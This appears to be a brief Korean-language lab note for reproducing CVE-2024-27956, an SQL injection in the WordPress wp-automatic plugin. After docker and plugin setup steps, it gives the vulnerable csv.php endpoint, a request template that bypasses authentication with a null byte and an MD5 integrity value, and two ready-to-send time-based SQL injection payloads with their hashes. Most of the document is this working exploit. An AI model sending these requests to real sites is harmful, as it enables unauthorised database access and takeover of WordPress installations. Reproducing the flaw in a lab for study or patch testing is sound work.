CVE-2024-27956

참고

WordPress 빌드: docker-compose -f stack.yml up

플러그인 설치:

1. WordPress 대시보드에서 Plugins > Add New를 선택하세요.

2. Upload Plugin을 클릭하세요.

3. 파일 선택 -> wp-automatic.zip -> Install Now

4. 설치가 완료되면 Activate Plugin을 클릭하세요.

익스플로잇

<HOST>/wp-content/plugins/wp-automatic/inc/csv.php

q={{query}}&auth=%00&integ={{md5query}}

q=SELECT+IF(1=1,sleep(5),sleep(0))&auth=%00&integ=93cf9aa11e746596d6f31765a7222c9f

q=SELECT+IF(1=2,sleep(5),sleep(0))&auth=%00&integ=4b1f4024af81df56c3b00679b9b52183